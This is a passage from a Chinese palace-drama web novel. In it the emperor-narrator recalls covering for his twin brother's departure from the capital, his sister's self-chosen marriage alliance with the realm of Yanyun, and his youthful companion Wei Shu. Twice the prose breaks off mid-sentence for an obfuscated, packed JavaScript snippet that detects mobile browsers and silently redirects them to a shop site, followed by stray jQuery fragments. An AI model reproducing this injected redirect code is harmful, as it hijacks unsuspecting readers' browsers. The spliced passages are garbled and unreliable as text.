几日后,我在父皇面前提起朱家。历下朱氏家风清正,族中女儿入宫伴读多年,性情爽直,与陆棣贤相处甚好。棣铭年纪也到了,若父皇有意赐婚,倒可成一段妥帖姻缘。父皇听完,想了一会儿,问了朱家的官位,又问朱珍珍父兄何在。我一一答了。朱家不显赫,也无外戚之患,对父皇而言,这门婚事无碍。 无碍,便是可以。 旨意下来那日,陆棣铭高兴得几乎把府里绕了几圈。朱珍珍入门后,府中热闹了许多。她同陆棣铭确实合得来,两人今日拌嘴,明日又一同出门看戏。她仍旧没多少规矩,见了我倒是行礼,却总带着一点想笑不笑的神色。有一回她说:“大哥和从前更像先生了。”陆棣铭在旁边笑得直不起腰。我看着他们两个,面上没什么表情,心里却想,朱珍珍这样的人,放在陆棣铭身边,正好。 他们成亲没多久,陆棣铭又来找我,连带着朱珍珍也在一旁。 这回他比上回更不像样。进门先看左右,确认无人,才把门合上,转身对我笑。那笑太熟悉,我一看便知道不是什么好事。 “你又闯祸了?” “还没。” “那便是准备闯。” 他摸了摸鼻子,低声道:“我想同珍珍出去走走。” 我看着他,“去哪里?” “江湖。” 他说这两个字时,眼神很亮,像小时候母妃还在时他的眼神。 朱珍珍站在他身后,难得没有抢话,只看着我。 我没有立刻说话。 陆棣铭怕我不同意,忙道:“我留在京里也没什么用。父皇儿子那么多,少我一个也不打紧。珍珍也不喜欢整日困在府里。我们就出去几年,看够了再回来。哥,你帮我遮一遮。” 他说得轻巧,像只是出去游春。 皇子无旨离京,从来不是小事。若换成几位得宠的兄长,立时便能引出一堆猜测。可陆棣铭确实不一样。他在父皇眼里,从来不是要紧的那一个。父皇孩子太多,多到有些儿子的喜怒爱憎不过是他闲时才会问一句的事。陆棣铭不争,不入朝,不结交重臣,也不爱在御前表现。这样的儿子,在父皇那里轻得很。轻也有轻的好处。轻,便不容易被人举起来当靶子,也不容易叫人拿去做文章。 我看着他,忽然问:“你想好了?” “想好了。” “你也想好了?” 朱珍珍上前一步,行了一礼,“想好了。” 她很少这样正经说话。 那一刻我看着她,忽然想起许多年前,她站在书房门口,一眼认出我和陆棣铭,说我们性子全然不同。她那时大概就看得明白,陆棣铭不该一辈子困在京里。朱珍珍也不是能关在后宅里绣花等消息的人。他们两个凑在一处,若真强压在京城,迟早也会怨。 我自然可以不许。 我是兄长,也比他更懂宫里这些事。我可以告诉他轻重,告诉他父皇若怪罪,告诉他外头未必有他想得那么好。可我看着他那张和我一模一样的脸,忽然觉得,有一个人能带着这张脸离开,也没什么不好。 我终究没有拦。 “明面上不能走得太急。”我道,“先称病,少见客。过几日我遣人替你递话,说你要去近郊庄子静养。再过一阵,把人换出去。” 陆棣铭愣了一下,随即笑开,“哥,我就知道你会帮我。” “别高兴太早。”我看着他,“若出了事,我不会替你认。” 他笑着说:“知道知道。” 他又想来抱我,我这回先抬手按住他的肩。 “收敛些。” 朱珍珍在旁边没忍住,噗嗤一声笑出来。 事情办得还算顺。 我先让人把陆棣铭府里常来往的人筛了一遍,能瞒的瞒,不能瞒的打发出去。再让太医去了一趟,说他旧疾犯了,需静养,忌见风。父皇那里,我挑了一个他心情尚可的日子提起,说棣铭近日身子不适,想去城外庄子养些时日。父皇听完,果然只是问了一句严重不严重。我说不严重。父皇便嗯了一声,叫我看着安排。 你看,许多事并不难。难的是你得知道自己在别人眼里的分量。 陆棣铭在父皇心里不重,所以他能走。若他重,反倒走不成。 他们离京那日,我只在府中见了他们一面。陆棣铭换了寻常衣裳,整个人看着比在宫里亮了许多。朱珍珍也换了简单发髻,身上没戴多余首饰,眼神却很快活。她对我行了礼,认真道:“哥你放心,我会看着他的。” 陆棣铭不服,“我有那么不可靠吗?” “有。” 朱珍珍笑出了声。 他们临走前,陆棣铭忽然安静下来。他看着我,似乎想说什么,最后只喊了一声:“哥哥。” 我嗯了一声。 他道:“你照顾好自己。” 我看着他,没答。 这句话由他来说,实在有些可笑。他从小便是被我盯着写字、盯着背书、盯着别闯出大祸的人,到头来却反过来叫我照顾好自己。我本该训他两句,叫他管好自己。可他马上要走了,我忽然不想在最后还端着兄长架子。 于是我只说:“出去之后,少惹事。” 他笑了笑,“尽量。” 我知道他多半做不到。朱珍珍在旁边也知道,所以她笑得更厉害。 他们走后,府里安静了许多。 我照常读书,照常入宫,照常在父皇面前答话。陆棣铭那边的消息偶尔传回来,多半是今日到了哪里,明日又遇见什么人。有时还有朱珍珍附上的几句,骂他途中又买了无用的东西,又同人比试,又差点被人骗。信写得乱,字也飞扬,像她本人。陆棣铭的字更不成样子,写满一页,能叫我看得眉头发紧。 我每次看完,都把信收起来。 旁人若问,我便说棣铭病中养静,不便见客。父皇几乎没有过问。时间久了,连宫里也渐渐忘了这位不怎么重要的皇子。偶尔有人提起,也不过说一句,他身子弱,近来少见。没人追究,没人深查。孩子多的皇帝,总有这样的好处。少一个不爱争的儿子,他不至于真放在心上。 可我记得。 我记得他离京那日的神情,记得朱珍珍笑着说会看住他,记得那个拥抱,也记得小时候我们两个站在一处,宫人分不清谁是谁。后来许多年,我常想,如果是我晚出生,会变成陆棣铭那样的傻弟弟吗?长着同一张脸,却能笑,能闹,能说走便走,能把许多我不能动的念头,都带去很远的地方。 我没有羡慕他。 帝王之家的人,不该拿这种心思说事。何况那时我还远不是皇帝,只是诸皇子中一个慢慢变得起眼的人。我要做的事还有许多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627879|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,能走的人走了,能留下的人留下。每个人都有自己的分量。陆棣铭的分量,在父皇眼里很轻,在我这里,却不轻。 所以我帮他遮掩,也帮他离京。 我可以把这说成兄长照拂,也可以说成不愿朱珍珍被困在府里。哪一种都说得通。人活在世上,总要给自己的决定找一个体面的说法。我自然也不例外。 他们出了京,先往南去,在江陵停了半月。后来又去了岳州,说是看洞庭水。再往后,信上写得不清不楚,今日说遇见一个卖药的老道,明日又说同人比酒输了半坛子桂花酿。我看着只觉得荒唐,便另外派人去查。陆棣铭以为自己走得远,京里的事便追不上他。他从小便这样,以为只要躲在墙后面让我看不到他,我就管不到他。 我没有戳穿他。 他愿意写信,我便看。他不愿意写,我也知道他在哪里。每隔一段时日,外头便会有人把消息送回来。某年春,他们在蜀中一带停了许久,说朱珍珍喜欢那边的山水。某年秋,他们去了江南,陆棣铭在姑苏同人下棋,连输三日,气得把棋盘都掀了,后来又赔了人家一副新棋。再后来,他们北上,又折回南边,走走停停,像两只没有笼子的鸟。 他原本也没有长大到哪里去。 许多年里,我忙着在朝中往前走,忙着看父皇的脸色,也忙着看兄长们彼此如何聚散。裴家帮我甚多,我也一日日学会了怎样把人放到该放的位置上。父皇年纪渐长之后,脾气比从前更难捉摸,几位兄长各自有了势力,朝堂上每一句话、每一次退让,都牵扯太多。 我没有工夫时时想我的傻弟弟。 可他的位置一直在那里。 一个离京多年的皇子,既无官职,又不掌事,按理早该从京中棋盘上淡出去。可于我而言,他不能淡。他是我同胞弟弟,长着与我一样的脸,也知道我少年时许多旁人不知道的样子。他若在外头过得太好,旁人会惦记;过得太差,我也不能放心。最妥帖的,是叫他自在,又叫我能看见。 于是他自在了很多年。 直到我准备动手前。 那时京中局势已经走到不能再往后拖的地步。父皇多疑,兄长们也各自露了真形。许多事外人以为权谋是什么玄之又玄的东西,其实不是。权谋从来很简单,皇帝和乞丐也没什么不同,被利刃划过喉咙一样会死。真正要紧的是这把利刃如何捅进去。许多年里,我做的也不过是这些事。看清谁会动手,谁会退让,谁会在关键时候闭上眼睛,谁又会为了自己的利益推上一把。等这些都摆到该摆的位置上,最后发生的事,反倒最不值得一提,只需一夜便可改天换地。 我给陆棣铭写了一封信。 我只叫他回京,说父皇身子不好,兄弟久别,也该回来一趟。按我的计算,信送到他手里,若他同朱珍珍立刻启程,日夜兼程,不在途中耽搁,应当能在我登基时赶到京中。这样最好。新君即位,同胞弟弟也在,名分上好看,情分上也说得过去。该安排的府邸、该给的封号、该叫他站在何处,我都想好了。 我从不做没把握的事。 可我忘了,陆棣铭从来不是我。 他收到信后,并没有立刻回京。 我登基那日,他不在。 百官朝拜,礼乐声起,宫门一重重开。那一日我穿着冕服,站在众人之前,听着山呼万岁,心里并没有我曾经想过的那样激动。许多事走到那一步,激动反倒是不该有的东西。我只是按着礼往前,接受群臣叩拜,听礼官唱名,看各处仪仗落到应有的位置上。每一样都不能错,每一步都要准。 可我知道,陆棣铭不在。 这件事没有人提,也不会有人在那一日提一个沉默多年的皇子。可我心里记着,他原本该在的。按我的安排,他该在。可他一路磨磨蹭蹭,像这些年来每一次一样,把我的计算拖得一塌糊涂。 我那时并不恼。 至少我对自己说,并不恼。 新朝初立,要紧事太多。该安抚的安抚,该处置的处置,该压下去的压下去。父皇的旧臣,兄长们留下的人,后宫里该迁该留的嫔妃,还有宗室和边地的折子,一件接一件地送到我案上。我忙得连睡也少,更无暇为了一个没按时回京的人动怒。何况陆棣铭迟迟不到,也有迟迟不到的好处。风头最紧时,他不在京里,许多事便牵不到他身上。等他回来,一切都已定了,他只需要受封,进宫谢恩,再安安分分做他的亲王。 这样看,也不算坏。 我就是这样同自己说的。 他真正回京,是在我登基后的第二年。 那日天色晴,宫里新栽的榴花刚有一点红。我正在看吏部送来的名册,内侍进来禀,说陆棣铭到了宫门外。我的笔在纸上停了一下,墨点落下去,晕开一小团。我看着那团墨,过了一会儿,才把笔搁下。 “宣。” 他进殿时,我几乎有些认不出他。 他同我自然还是像的。眉眼、鼻梁、身形,远远看去,仍旧像在照一面模糊的镜子。只是他黑了些,瘦了些,肩背也比从前沉了许多。年轻时那股一眼就要往外跑的轻快少了,取而代之的是一种被风霜磨过后的安静。他走进来,按规矩向我行礼,动作竟是难得的稳当,没有从前那种叫人一看便知道心思不在殿里的散漫。 我坐在上首,看着他伏下去。 “臣弟参见陛下。” 我不喜欢他这样叫我。也不能说不喜欢。帝王与亲王,本该如此。他若还像从前那样一进门便喊哥哥,反倒要叫旁人皱眉。可我听见那句“陛下”,心里仍旧恼了一下。 我道:“起来。” 他起身后,抬头看我。那一眼里还有从前的影子,只是收敛了许多。他没有再嬉皮笑脸笑,也没有上来抱我,更没有像年轻时那样说一些没轻没重的话。朱珍珍站在他身后,也规矩了许多。她向我行礼,称陛下。 他们都变了。 这并不意外。人离开京城多年,看过山水,也看过人事,回来若还同当年一样,那才叫白活。他若还像十六七岁时那样莽撞,便不是我傻弟弟,是真的蠢。 我看着他,心里竟有一点欣慰。 这种情绪来得不合时宜。新帝临朝,亲王回京,本该先论礼数,再论安排。我却在那一刻想起很多年前,他抱着我说“哥哥,我就知道你会帮我”。那时他心跳很快。如今他站在殿下,叫我陛下,眉眼里多了许多我不曾亲眼看见的年月。 我问他:“怎么回来得这样晚?” 陆棣铭顿了顿,像是知道我早晚要问这个。 “途中有些事耽搁了。” 他说这句时,眼神有些虚,朱珍珍在后头低了低头,像忍着笑。我便知道,所谓耽搁,多半一半是真的,一半是他们自己磨出来的。 我淡淡道:“一年,倒是耽搁得长。” 陆棣铭摸了摸鼻子。这个动作还是从前的样子。 “臣弟知罪。” 我看了他一会儿,没有罚他。 罚什么呢?人已经回来了。迟了一年又如何。该过去的已经过去,该定下的也已定下。他没赶上我登基,没站在那一日的百官之间,于礼数上固然缺了一块,于我而言,倒也未必全是坏事。至少他回来时,身上干净,没有卷进浑水里。 我赐了他封号,赐府邸,也赐朱珍珍诰命。宫里所有人都觉得这是新君优待同胞弟弟,合乎情理。宗室也没有异议。一个无心朝政的亲王,没人会觉得他碍眼。更何况他回来后,比从前稳重许多,进退也有分寸。有人向我贺,我听着,只点了点头。 我自然是欣慰的。 陆棣铭终于不再只是那个要我替他背后遮掩的人。他站在殿下,知道何时该说话,何时该闭嘴,知道哪些人能接近,哪些人只能点头。朱珍珍也变了许多,她仍旧爽快,却知道哪些场合不能多言。她坐在陆棣铭身边时,还会低声同她说笑,笑起来仍旧像当年,只是笑完之后,终于学会了观察席上众人的神色。 他们在外头这些年,终究没有白走。 只是偶尔,我还是会想起他们离京那一日。 那时陆棣铭衣裳简单,眼睛亮得像什么都困不住他。朱珍珍站在他身旁,说会看着他。我站在那里,替他们把一切都遮过去,心里算得清清楚楚。许多年后,他终于回到京里,仍旧是我的弟弟,却已经不再是那个可以随手扑过来抱住我的人了。 这自然也是好事。 人总该长大。亲王不能永远像少年,皇帝也不能永远做兄长。我们各自到了该到的位置上,他在殿下,我在上首;他称臣弟,我称朕。礼数分明,情分也能保全。如此安排,已经是很好的结果。 我这样想。 也只能这样想。 64.陆棣昤3:红妆北去隔千山[番外] 我曾以为,妹妹的婚事会比弟弟省心。 尚公主之人,不能握实权。这原是祖宗留下来的规矩,防的便是外戚借公主之名伸手。许多人觉得这规矩不合理,把天家女儿嫁出去,却又不许夫家显赫,在我看来,这规矩难得清楚。权柄掺进婚事里,便不再只是婚事。陆棣铭娶朱珍珍时,我要替他看朱家的门第、牵连、得失,还要替他算父皇会不会多心。陆棣贤不同。她是公主,她的驸马越干净越好,家中不必有重臣,不必握兵,不必有人在朝上替谁说话。只需相貌好些,性情温和些,家世无污,能叫她日子过得舒坦些,便足够了。 我那时甚至松了一口气。 母妃走后,弟弟与妹妹都算是我看着长大的。弟弟性子浮,心总往宫外飘,后来娶了朱珍珍,果然更不像样。妹妹小时候还肯听我的话,读书写字虽不算用功,至少知道我查功课时不敢敷衍。可朱珍珍进宫给她做伴读之后,一切便慢慢乱了。 朱珍珍实在可恶。 这话不算冤她。她先带走了我的弟弟,又把我的妹妹带得越来越不守规矩。她来之前,妹妹最多是在女傅走后偷吃两块点心。她来了之后,两个人能把宫墙下的花盆挪成一排,说要看蚂蚁搬家;能趁嬷嬷转身,把绣架上的线绕成一团;也能在下雨天撩起裙角跑去廊下接水,回来叫我撞见,还装作什么都没发生。妹妹站在旁边看热闹,看着看着便也掺进去。三个人一闹,最后被叫过去收拾残局的,总还是我。 我那时已经很忙。 父皇开始叫我听一些政务,裴家入府后,能给我的消息渐多,我每日要读书,要入宫,要看父皇的脸色,也要看几位兄长各自的动向。可每到晚间,我仍会抽空查妹妹的字。她若写得潦草,我便叫她重写。她若背错,我便让她站在窗前重新背过。朱珍珍有时在旁边看着,嘀咕一句:“大殿下这样盯着,谁背得出来。” 我看她一眼,她便闭嘴。 妹妹却会偷偷笑。 她笑起来时,同小时候一样可爱。那时候我总觉得她还小,离许多事都远。她会有一桩合适的婚事,会嫁给一个干净好看的驸马,会在京里有自己的府邸。她若想进宫,便常进宫;若嫌宫里闷,也可以在府里养花、读书、同朱珍珍吵架。公主的日子并不全然自在,可比起宫里许多人,已算难得。我也能照看她。只要她留在京里,许多事便都还在我眼下。 我原是这样想的。 可安国与燕云国偏在那几年停了兵戈。 两国边境耗了许多年,死的人太多,粮草也折得厉害。父皇不愿再打,燕云那边也需要缓口气,于是和亲之议便被提了出来。和亲这种事很简单,挑一个适龄的宗室女子,赐封,备嫁,送去燕云。史书上写起来,不过几行字。公主也好,郡主也好,远支宗女也好,落到国书里,都只是安两国之心的一个名分罢了。 我本不该关心。 和亲的女子是谁,并不重要。只要身份够,年纪合适,能把这件事办成,便足够。朝政从来不是按谁心里舍不舍得来算的。若我当时是父皇,案上摆着几名宗室女子的名字,我也会从中择一个最合适的。她会哭,家里会求,母亲会舍不得,可这些都不是朝堂关心的东西。国境少一年战事,军中少耗一年粮,百姓少出一年徭役,便足以压过许多眼泪。 这些道理,我都懂。 所以最初听见和亲之议时,我没有动。父皇与几位重臣商谈,内廷也开始暗中查适龄宗室女子。我冷眼看着,心里只想,谁去都可以,反正陆棣贤不会去。她是父皇亲女,身份贵重。宗室里不是没有年纪合适的女子,挑一个封公主,礼数一样做得漂亮。父皇只是要体面,不必把亲生女儿送出去。 可我的傻妹妹自己去了。 她背着我,入殿求见父皇。 等我知道时,父皇已经点了头。内侍来传话,说棣贤公主深明大义,自请远嫁燕云,父皇龙心甚慰,已命礼部择吉日,备嫁仪。我听完,手中那卷奏报半晌没有翻过去。传话的内侍还跪在阶下,等我回话。我看着他,问:“公主何时入的宫?” 他说:“昨日午后。” 昨日午后。 那时我在吏部尚书府中听几位大人说官员考课。妹妹大约便是在那个时候,穿着她最规整的一身宫装,跪在父皇面前,说她愿意去燕云。她居然没有先来见我。她知道我会拦,所以她先越过我,把这件事定了。 我差点没压住自己的火气。 但发火也没有用。父皇已经准了。安国上下都知道公主自请和亲,这时候再改,便成了天家出尔反尔。棣贤替父皇解了难,也替礼部省了许多口舌。她做得干净,做得漂亮,连我也挑不出错。 正因为挑不出错,我才更恼。 她以为自己长大了,学会替国家分忧,学会替父皇承担,学会做一个有用的公主。可她哪里知道,许多事一旦说出口,便收不回来了。她不过是个从小爱闹、爱偷懒、背书还要我盯着的小姑娘,凭什么觉得自己能撑住燕云那样的地方。 我去见她时,她正在殿里试嫁衣。 红色铺了满室,金线在灯下亮得刺眼。她站在铜镜前,由宫人替她量袖长。见我进来,她先愣了一下,随后笑了。 “哥哥。” 她还敢笑。 我屏退左右,只留下两个贴身女官在外间。妹妹看我脸色,大约也知道我不高兴。 我问她:“谁教你的?” 她道:“没有谁教我。” “那你为何去?” 她抬头看我,“总要有人去。” “宗室里有人。” “我才是真公主。”棣贤道,“哥哥,总要有人去。若我不去,便会换成别的女子。她们也有父母,也有兄长,也许也有自己想嫁的人。只是因为生在宗室,便要被挑出来送去燕云。” “我是公主。” “这种事,本来就该由我承担。” 她不像我之前那个傻妹妹。 我忽然不知该说什么。她从前最烦听朝事,一听便说头疼。可原来她都听懂了。她不是被人哄去的,也不是一时冲动。她是自己想过,然后跪到父皇面前。 我仍旧不能理解。 或者说,我不愿理解。 明明有旁人可以去,明明我可以想法子把她留下,明明她只要先来告诉我,我未必没有转圜的余地。她却偏偏自己把事情做死。她说这是选择。我看着她,只觉得她傻。朱珍珍果然把她带坏了,棣铭也把她带坏了。一个两个,都觉得离开京城是什么了不得的自由。棣铭至少是去看山水,她却是去燕云做和亲公主。那地方山远风硬,语言、礼数、饮食都同安国不同。她去了,便不再是我疼爱的妹妹了。她会成为两国盟约中的一部分,会成为边境几年安宁的凭据,也会成为许多人嘴里那位深明大义的公主。 可她自己却觉得,这不过是她该做的事。 我想训她,训她不知天高地厚。 可她站在那里,嫁衣红得像火,眼睛却很清亮。我忽然想起母妃临终前叫我照看她。照看了这么多年,最后她还是自己往外走。我能替棣铭遮掩离京,却遮不住棣贤自己跪到父皇面前的那一下。 我只问她:“你怕不怕?” 她笑了一下,“怕。” 她又道:“可是哥哥,怕也要去。你总说,人要知道自己能做什么。我是公主,我能做的事不多。如今有一件事,我做了,能叫许多人少死,便也还算有用。” 我看着她,许久没有说话。 她这番话说得太像母妃,又不像母妃。母妃一生被困在宫里,谨慎,忍让,最后什么也护不住。妹妹却站在那里,用自己的一生换取了和平,还觉得这是有用。我不喜欢这个有用。可我不能说它全错。 旨意已下,我能做的便只剩准备。 我替她重新查嫁妆册子,凡礼部列出的东西,我又添了一份。金银、绸缎、药材、书册、工匠、熟悉安国饮食的厨娘、会调香的宫人、懂医理的女官,一样一样都要过我的眼。燕云风土与京中不同,我叫人搜集那边饮食习惯、冬日寒暑、贵族礼仪,装成册子送去给她。她看了两页便头疼,抬头看我,像小时候背书背不下去。我冷着脸叫她继续看。 “去了那边,没人能像我一样照顾你了。” 她撇了撇嘴,还是低头继续看。 那几日我忙得厉害。朝中因和亲之事已开始筹备,燕云使臣尚在京中,各处眼睛都盯着公主府和礼部。越到这种时候,越不能出错。妹妹可以怕,可以后悔,可以夜里躲在被子里哭,可外头不能看见。她必须走得体面,走得叫人挑不出半点轻慢。只有这样,去了燕云之后,旁人才会先敬她三分。 也就是在那几日,我发现随行宫女名单里有些不对。 礼部呈上来的名册,我看了三遍。看出身,看年纪,看各自从前在哪宫伺候。到了第三遍,我发觉出了不对劲。有几个宫女的履历干净得不像真实的人。 我把名册合上,没有立刻声张。 若是寻常内廷安插眼线,不会这样干净。若是哪个妃子的人,也不会费这么大心思。棣贤要去燕云,随行之人自然会被层层查验。能把人放进这份名单,又叫礼部、内侍省都挑不出错的,只能是更深的一处。 我顺着查了下去。 查到第三日,我第一次听见“隐鸢司”这三个字。 那名字藏得深,它不归六部,不见明册,名义上甚至不存在。可它的人能出入内廷,能换掉宫女的来历,也能在远嫁公主的仪仗里放人。若不是棣贤这一遭,我或许还要许久之后才会摸到它的影子。 我那晚在书案前坐了很久。 屋里窗子关着,灯也不暗,可我后背竟慢慢出了汗。若父皇手里一直有这样一处东西,这些年我所做的事,他究竟看见了多少?棣铭离京,我替他遮掩,裴家给我的消息,我与几位大人暗中往来,甚至我查母妃旧事时碰过哪些人,这些是否都曾落在别人眼里? 我很少有这样的时刻。 我常告诫自己不能总疑神疑鬼,疑心太重,反倒伤神。可那一夜,我一项一项翻了这些年来自己做过的事。哪些人只在我府中出现过,哪些信件经手太多,哪些账目可能被人摸到边。天快亮时,我才把几条线重新合起来,确认自己查隐鸢司一事尚未被他们察觉,也确认那些年自己真正要紧的安排,并未露出足以叫父皇立刻动手的破绽。 第二日,我去见棣贤。 她正坐在窗下看我给她的燕云册子,看得昏昏欲睡,手里还拿着一块糕。见我进来,她立刻把糕往袖子里藏。我看着她那动作,忽然一阵恍惚。她都快要嫁去燕云了,竟还像小时候一样。 “别藏了。”我道,“我看见了。” 她讪讪把糕拿出来,“就吃一块。” 我没同她计较,只把那几名宫女的名字放到她面前。 “这几个人,你记住。” 她低头看了看,“她们怎么了?” “她们是父皇的人。” 棣贤脸上的懒散一下收了。 我道:“更准确些,是隐鸢司的人。此事不要外传。隐鸢司我还没有调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630676|203305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查清楚,她们或许会帮你,也可能是在监视你,或者她们有他们自己的任务。你不必怕她们,父皇派的人总归是要帮你的。” 棣贤听得很认真。 她从前听我说正事,总会走神。这一次没有。她想了想,点头,“我明白了。” 我原以为她又会说自己不怕。可她没有。她只是把那张纸折好,放进袖中,过了片刻才轻声道:“哥哥,那你呢?” “我什么?” “你查到这个,会不会有事?” 我看着她,心里微微一顿。 她竟先想到这个。 我道:“不会。” “真的?” “真的。” 她看了我一会儿,像在分辨我有没有骗她。她从前分辨不出来,如今大约能分出一点了。可最后她还是点头,没有再问。 离京那日,天很冷。 燕云使团在城外等候,礼部的人忙得脚不沾地。公主车驾从宫门出来时,百姓远远跪了一片。棣贤穿着厚重礼服,面上妆容很稳,远远看去,已经是一个很合格的和亲公主。她坐进车前,回头看了我一眼。 我站在百官前列,不能上前,也不能说太多。 她却忽然朝我笑了一下。 像小时候背错书,被我抓住时那样,带一点讨好,也带一点不服。随后车帘落下,仪仗向北而去。铜铃声、马蹄声、礼官唱声混在一起,慢慢远了。那一日,我没有多看很久。公主和亲是国事,国事便要有国事的样子。她自己选的,我只是替她把该带的都带齐,把该知道的都告诉她,把能做的都做完。 妹妹是对的。 父皇开始比从前更常召见我。 最初只是问和亲的事。问礼部备嫁可齐,问燕云使臣言辞可有反复。我一一答了。后来问得便多了些,问燕云王庭诸部的亲疏,问边境互市该如何定税,问安国送去的陪嫁工匠可否借此探出燕云近年铁器、马匹、皮货之数。父皇从前也会问我政事,却常常点到即止,如今终于更进了一层。 我很快明白了缘故。 棣贤是我的同胞妹妹。她远嫁燕云,我便天然多了一层同燕云相连的名分。她这一去,父皇看重了我,几位掌边务的大臣见了我,话也比从前细致。原先我要费许多力气才能够到的东西,因她一场远嫁,忽然便近了几分。我若说自己没有因此受益,便是假话。 人最无用的地方,便是明明收了好处,还要装作自己全然清白。 只是后来许多年,我再也没有见过我的傻妹妹。 她到了燕云之后,起初几年,安国使节往来还算频繁。可和亲公主的信,从来不是闺中女儿写给兄长的私语。每一封都要经燕云那边审看,随使节带回安国后,还要过礼部和内廷。能摆到御案前的字,早已叫许多人看过,也早已不是她想写什么便能写什么。 她写燕云今岁雪重,羊马折损,入冬皮货价高。写互市可早开一月,以平边民怨气。写燕云贵族对安国绸缎仍有喜好,只是路途耗费太重,若边关税卡稍缓,可使商旅更勤。 有时她也会在末尾添一句,说燕云天寒,望父皇保重。或者说安国春景应好,不知宫中旧园花开几许。 我能回给她的,也只能是些挑不出错的话。说两国既通婚好,应以信义相待。说安国岁贡绸缎已按约备妥。说父皇安康,宫中诸事如常。若想多添一句,也不过是愿公主珍重。 后来父皇问我,燕云所请互市税卡之事如何。我答,可缓一处,不可全缓。父皇听了,点头,说我这些年越发有长进了。 我谢恩。 那一日,他留我用了膳。 膳桌上,他提起棣贤,说她有公主风范,也说她比宗室旁支的女子更压得住场面。我坐在下首,听得很清楚,父皇说得不错。 陆棣贤公主确实是最合适的和亲人选。 后来我登基,燕云派使臣来贺。使臣带来她的贺礼,一匹白狐裘,一封国书,还有一封私信,说恭贺皇兄登基,愿安国长宁,愿两国无战。我看着那几个字,知道她已经很久没有叫我哥哥了。 我重视军事,许多人以为是因为先帝晚年边备松弛,也因为新朝初立,边境不可有失。这些当然都对。皇帝做事,总能找出许多正当理由。军制要整,边将要换,粮草要查,马政要修,燕云不可轻信,安国也不可久懈。 我有个妹妹在燕云。 她是自己去的。她说怕也要去。她说她能做的事不多,若能叫许多人少死,便也有用。她说得那样明白,叫我连反驳都显得狭窄。可她是安国公主,也是我妹妹。她人在燕云,我便不能叫安国永远把安宁寄在一个女子身上。 所以我练兵,整军,修边备。 人总说和亲能换太平。可这太平若只能靠公主坐在异国宫殿里撑着,便太显得我这个皇兄没用。棣贤已经把她能做的做了,剩下的便该是我来做。她用一生换了几年安稳,我总不能叫那几年白白过去。 我从不后悔准她去。 或许我也没法不准她去。 那时旨意已下,她心意也定,我拦不了,便只能承认那是最合适的安排。她永远是我疼爱的妹妹,但疼爱不能退敌,不能养兵,不能叫燕云少一分贪念。疼爱若有用,母妃当年便不会死。 陆棣贤离京那一日,我失去了妹妹。 可安国得了喘息,边境得了几年休养,我也因此得到了更多的情报与器重。 如此算来,这场离别并非全无所得。 我只能这样算。 不这样算,便太亏了。 65.陆棣昤4:故友辞朝不复还[番外] 人这一生,总要有几个人,是不能拿来算计的。 这话听着不合我平日性情,但确实是我的真实想法。 卫树于我,原该是这样的人。 只是人活在宫墙与朝堂之间,不能拿来算计的人,往往最后也会被放到秤上。放上去时,我心里知道轻重,却仍旧没有把他取下来。 卫树到我身边做伴读时,我还不算得势。 那时母妃已去,我开始学着在父皇面前更端正,在先生面前更勤谨,也在许多兄长面前更少露锋芒。卫树年纪同我相近,初来时穿一身干净骑装,腰背挺得很直,眉眼比宫里这些少年都明亮些。内侍说他是大将军卫慬的独子,奉旨入宫伴读。卫家在军中根基深,卫慬半生戎马,膝下却只有卫树一个儿子,其余全是女儿。那些女儿后来嫁得很散,有的嫁给皇子,有的嫁给重臣之子,有的进了功勋之家。卫家像一张铺开的网,一头在军中,一头在京中许多府邸里。 我最初并不喜欢卫树。 他不像旁的伴读那样谨小慎微。旁人见我读书晚了,会劝殿下歇一歇。他见我一页策论改了三遍,只说:“这一处写得不好。”旁人见我练射失了一箭,会说风偏。他在旁边看了半日,道:“殿下手腕力道不够。” 他说话不讨喜,脸上还常有一种“我说的确是实话”的神情。 可我后来留下了他。 因为他确有用。 这也是我一贯说法。一个人留下来,总该有留下来的缘故。卫树有用。先生讲兵制,他听得比旁人认真;讲赋税,他能很快问到要害。他有卫家人的眼界,也有少年人的胆气。有一回先生出题,问若边将拥兵自重,朝廷当如何制衡。几位伴读都说得周全,什么恩威并施,什么赏罚分明,什么朝廷节制。卫树听完,忽然道:“若粮草、军械、升迁都在朝廷手里,边将再强,也要低头。若这些都不在朝廷手里,写再多制衡也是白写。” 先生当时皱了眉。 我却记住了。 卫树这个人,少年时便知道许多漂亮话下头没有东西。他不像弟弟,眼睛总往宫墙外看;也不像妹妹,到了要紧时才忽然把自己放出去。他一早便站在局中,看得清,也不怕看清。 他同我一处读书,一处习射,一处听父皇训话。有时候我读书读得太久,眼前字都有些发黑,他会把书从我手里抽走,说:“殿下今日再看下去,明日反倒背不出来。” 我说他放肆。 他便行礼请罪,行完礼仍把书按在桌上,不许我再拿。 他手指很长,指节常带着练弓留下的薄茧。有一回他按住书页时,指背擦过我的手腕。我记得那一点温度。这样的小事,本不该记。可人的记性有时实在不听使唤,越是无用,越留得久。 那时我常觉得他烦。可他烦得同旁人不同。旁人劝我,是怕我出事牵连自己;卫树劝我,是真觉得我该歇。他并不把我的勤勉当成美德,也不把我的沉默当成天成。他看见这些东西,像看见我衣袖上的灰,伸手便要替我拂掉。 宫里很少有人敢这样。 我也很少容人这样。 他是例外。 